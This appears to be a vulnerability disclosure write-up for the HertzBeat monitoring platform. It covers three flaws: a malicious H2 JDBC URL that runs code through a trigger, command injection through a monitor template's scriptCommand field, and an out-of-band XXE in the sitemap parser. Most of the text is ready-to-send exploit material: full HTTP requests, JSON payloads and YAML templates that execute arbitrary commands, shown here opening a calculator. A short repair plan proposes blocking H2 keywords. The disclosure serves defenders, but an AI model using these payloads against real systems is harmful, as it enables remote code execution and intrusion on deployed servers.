private String constructDatabaseUrl(JdbcProtocol jdbcProtocol) { if (Objects.nonNull(jdbcProtocol.getUrl()) && !Objects.equals("", jdbcProtocol.getUrl()) && jdbcProtocol.getUrl().startsWith("jdbc")) { // when has config jdbc url, use it return jdbcProtocol.getUrl(); } ......
The constructDatabaseUrl function will check if JdbcProtocol is empty, and then check if it starts with “jdbc”. If it meets the conditions, it will return the jdbc string directly.
There is no verification of jdbc characters in the getConnection function. We use the h2 database to construct malicious jdbc characters for attack.
Reproduction
Select a database monitor at random, fill in the information, and click Test
/monitors/new?app=mysql
1 2 3 4 5 6 7 8 9
POST /api/monitor/detect HTTP/1.1 Host: ip:1157 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Authorization: your jwt Accept: application/json, text/plain, */* Content-Type: application/json Content-Length: 694
{"detected":true,"monitor":{"intervals":60,"tags":[],"app":"mysql","host":"127.0.0.1","name":"exp"},"collector":"","params":[{"display":true,"field":"host","type":1,"paramValue":"127.0.0.1"},{"display":true,"field":"port","type":0,"paramValue":3306},{"display":true,"field":"database","type":1},{"display":true,"field":"username","type":1},{"display":true,"field":"password","type":1},{"display":true,"field":"timeout","type":0,"paramValue":6000},{"display":true,"field":"url","type":1,"paramValue":"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$"}]}
Then intercept the data packet and replace the paramValue field with the malicious jdbc connection. After sending, the calculator pops up.
Any command can be replaced in the exec field。
Repair plan
When performing jdbc operations, verification is performed, especially for the h2 database. When the jdbc contains the characters CREATE TRIGGER, CREATE ALIAS, and RUNSCRIPT FROM, an error is reported.
publicvoidcollect(CollectRep.MetricsData.Builder builder, long monitorId, String app, Metrics metrics) { ScriptProtocolscriptProtocol= metrics.getScript(); longstartTime= System.currentTimeMillis(); ProcessBuilder processBuilder; // use command if (StringUtils.hasText(scriptProtocol.getScriptCommand())) { switch (scriptProtocol.getScriptTool()) { case BASH -> processBuilder = newProcessBuilder(BASH, BASH_C, scriptProtocol.getScriptCommand().trim()); case CMD -> processBuilder = newProcessBuilder(CMD, CMD_C, scriptProtocol.getScriptCommand().trim()); case POWERSHELL -> processBuilder = newProcessBuilder("powershell.exe", POWERSHELL_C, scriptProtocol.getScriptCommand().trim()); default -> { builder.setCode(CollectRep.Code.FAIL); builder.setMsg("Not support script tool:" + scriptProtocol.getScriptTool()); return; } }
scriptProtocol.getScriptCommand() can get the command directly from the Protocol without any processing, which is controllable by us, and then call ProcessBuilder for splicing and execution, which is extremely harmful。
Reproduction
Here we now construct a template and then call it in the monitoring function
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License.
# The monitoring type category：service-application service monitoring db-database monitoring custom-custom monitoring os-operating system monitoring category: os # The monitoring type eg: linux windows tomcat mysql aws... app: exp # The monitoring i18n name name: zh-CN: exp en-US: exp # The description and help of this monitoring type help: zh-CN: Hertzbeat 使用采集器作为 agent 直接运行 <aclass='help_module_content'href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell 命令 </a> 对 Linux 操作系统的通用性能指标 (系统信息、CPU、内存、磁盘、网卡、文件系统、TOP资源进程等) 进行采集监控。<br>您可以点击“<i>新建 Linux Script</i>”进行添加。或者选择“<i>更多操作</i>”，导入已有配置。 en-US: Hertzbeat uses a collector as an agent to directly execute <aclass='help_module_content'href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell commands </a> to collect and monitor general performance metrics of the Linux operating system (system information, CPU, memory, disk, network card, file system, TOP resource processes, etc.).<br>You can click “<i>Create New Linux Script</i>” to add it. Or select “<i>More Actions</i>” to import an existing configuration. zh-TW: Hertzbeat 使用采集器作為 agent 直接運行 <aclass='help_module_content'href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell 命令 </a> 對 Linux 操作系統的通用性能指標 (系統信息、CPU、內存、磁盤、網卡、文件系統、TOP資源進程等) 進行採集監控。<br>您可以點擊“<i>新建 Linux Script</i>”進行添加。或者選擇“<i>更多操作</i>”，導入已有配置。 helpLink: zh-CN: https://hertzbeat.apache.org/zh-cn/docs/help/linux_script en-US: https://hertzbeat.apache.org/docs/help/linux_script # Input params define for monitoring(render web ui by the definition) params: # field-param field key - field: host # name-param field display i18n name name: zh-CN: 目标Host en-US: Target Host # type-param field type(most mapping the html input type) type: host # required-true or false required: true # collect metrics config list metrics: # metrics - basic, inner monitoring metrics (responseTime - response time) - name: basic i18n: zh-CN: 系统基本信息 en-US: Basic Info # metrics scheduling priority(0->127)->(high->low), metrics with the same priority will be scheduled in parallel # priority 0's metrics is availability metrics, it will be scheduled first, only availability metrics collect success will the scheduling continue priority: 0 # collect metrics content fields: # field-metric name, type-metric type(0-number,1-string), unit-metric unit('%','ms','MB'), label-whether it is a metrics label field - field: hostname type: 1 label: true i18n: zh-CN: 主机名称 en-US: Host Name - field: version type: 1 i18n: zh-CN: 操作系统版本 en-US: System Version - field: uptime type: 1 i18n: zh-CN: 启动时间 en-US: Uptime # the protocol used for monitoring, eg: sql, ssh, http, telnet, wmi, snmp, sdk protocol: script # the config content when protocol is ssh script: # script tool scriptTool: bash # OS charset charset: UTF-8 # script working directory workDirectory: /usr/bin # collect script scriptCommand: open -a calculator # response data parse type: oneRow, multiRow parseType: multiRow
Use the above configuration, or the corresponding data packet
{"define":"# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# The monitoring type category：service-application service monitoring db-database monitoring custom-custom monitoring os-operating system monitoring\ncategory: os\n# The monitoring type eg: linux windows tomcat mysql aws...\napp: exp\n# The monitoring i18n name\nname:\n zh-CN: exp\n en-US: exp\n# The description and help of this monitoring type\nhelp:\n zh-CN: Hertzbeat 使用采集器作为 agent 直接运行 <a class='help_module_content' href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell 命令 </a> 对 Linux 操作系统的通用性能指标 (系统信息、CPU、内存、磁盘、网卡、文件系统、TOP资源进程等) 进行采集监控。<br>您可以点击“<i>新建 Linux Script</i>”进行添加。或者选择“<i>更多操作</i>”，导入已有配置。\n en-US: Hertzbeat uses a collector as an agent to directly execute <a class='help_module_content' href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell commands </a> to collect and monitor general performance metrics of the Linux operating system (system information, CPU, memory, disk, network card, file system, TOP resource processes, etc.).<br>You can click “<i>Create New Linux Script</i>” to add it. Or select “<i>More Actions</i>” to import an existing configuration.\n zh-TW: Hertzbeat 使用采集器作為 agent 直接運行 <a class='help_module_content' href='https://hertzbeat.apache.org/docs/advanced/extend-script'> Shell 命令 </a> 對 Linux 操作系統的通用性能指標 (系統信息、CPU、內存、磁盤、網卡、文件系統、TOP資源進程等) 進行採集監控。<br>您可以點擊“<i>新建 Linux Script</i>”進行添加。或者選擇“<i>更多操作</i>”，導入已有配置。\nhelpLink:\n zh-CN: https://hertzbeat.apache.org/zh-cn/docs/help/linux_script\n en-US: https://hertzbeat.apache.org/docs/help/linux_script\n# Input params define for monitoring(render web ui by the definition)\nparams:\n # field-param field key\n - field: host\n # name-param field display i18n name\n name:\n zh-CN: 目标Host\n en-US: Target Host\n # type-param field type(most mapping the html input type)\n type: host\n # required-true or false\n required: true\n# collect metrics config list\nmetrics:\n # metrics - basic, inner monitoring metrics (responseTime - response time)\n - name: basic\n i18n:\n zh-CN: 系统基本信息\n en-US: Basic Info\n # metrics scheduling priority(0->127)->(high->low), metrics with the same priority will be scheduled in parallel\n # priority 0's metrics is availability metrics, it will be scheduled first, only availability metrics collect success will the scheduling continue\n priority: 0\n # collect metrics content\n fields:\n # field-metric name, type-metric type(0-number,1-string), unit-metric unit('%','ms','MB'), label-whether it is a metrics label field\n - field: hostname\n type: 1\n label: true\n i18n:\n zh-CN: 主机名称\n en-US: Host Name\n - field: version\n type: 1\n i18n:\n zh-CN: 操作系统版本\n en-US: System Version\n - field: uptime\n type: 1\n i18n:\n zh-CN: 启动时间\n en-US: Uptime\n # the protocol used for monitoring, eg: sql, ssh, http, telnet, wmi, snmp, sdk\n protocol: script\n # the config content when protocol is ssh\n script:\n # script tool\n scriptTool: bash\n # OS charset\n charset: UTF-8\n # script working directory\n workDirectory: /usr/bin\n # collect script\n scriptCommand: open -a calculator \n # response data parse type: oneRow, multiRow\n parseType: multiRow\n\n "}
/monitors/new?app=exp
Then bind this template
Fill in the corresponding parameters and click Test, and the computer pops up.
You can see that it will get ParseType from getParseType, and then select the corresponding implementation according to getParseType. Here we choose PARSE_SITE_MAP and continue to update parseResponseBySiteMap。
It can be seen that it reads the return stream of the data packet from resp and then performs XML parsing. Here, ocumentBuilderFactory.newInstance() is used without filtering, which can lead to xxe vulnerability.
Reproduction
This function point has no echo, so use oob out-of-band, prepare xmlpoc.xml, ext.dtd, and then use python to start an http service on port 8080.